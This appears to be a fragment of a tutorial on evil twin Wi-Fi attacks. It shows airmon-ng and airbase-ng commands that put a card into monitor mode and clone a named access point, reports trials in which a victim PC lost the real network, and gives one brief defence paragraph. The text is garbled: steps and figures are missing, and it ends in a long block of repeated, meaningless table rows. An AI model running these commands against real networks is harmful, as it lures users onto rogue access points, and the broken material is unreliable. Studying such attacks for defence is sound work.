

```

root@Mohit[Raj]:~# airmon-ng

Interface    Chipset    Driver

wlan0       Atheros AR9271  ath9k - [phy9]

root@Mohit[Raj]:~#

```

Figure 1: The wireless card

```

root@Mohit[Raj]:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.
If airodumpng, aircrack-ng or aircrack-ng stops working after
a short period of time, you may want to kill (some of) them:
#
PID   Name
2456  dcilient
2650  NetworkManager
3450  wpa_supplicant

Interface    Chipset    Driver
wlan0       Atheros AR9271  ath9k - [phy9]
              (monitor mode enabled on wlan0)

root@Mohit[Raj]:~#

```

Figure 2: Setting Wlan0 to mon0

The clients associated with the AP have BSSID 0C:D2:B5:01:0F:E6 (as shown in Figure 5).

Step 5: To clone the *L4wisdom.com* AP, I used the following command:

```

root@Mohit[Raj]:~# airbase-ng -a bb:bb:bb:bb:bb:bb --essid
"L4wisdom.com" -c 1 mon0

```

The attack was launched. After a few seconds, the client disassociated the legitimate AP due to the confusion between the original and fake AP.

Attack scenario

I repeated this experiment thrice.

The attack was successful in the following cases:

1. When the victim's PC was equidistant from the AP and attacker PC.
2. The distance between the AP and the victim was 1 metre, and the distance between the victim's PC and attacker's PC was 6 metres.
3. The distance between the AP and victim was 1 metre, and the distance between the victim's PC and attacker's PC was 9 metres.

In each instance, the victim's PC got confused and was not able to detect the real AP.

Practical defences against evil twin attacks

Trust based on location: In this approach, the client records all the APs in the vicinity. These recorded APs act as wireless landmarks, so that the client can recognise the correct location for a particular network. During association, the client must compare the new location with the previous location, and if these match, the client can trust this AP.

BSSID	PMK	Beacon	WData	Arts	Ch	MD	ENC	CIPHER	AUTH	ESSID
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
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0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
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0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
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0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
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0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
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0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
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0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	213	0	123	-1	WPA		<length>	Sh
0C:D2:B5:01:0F:E6	-1	0	123	0	123	-1	WPA		<length>	Sh
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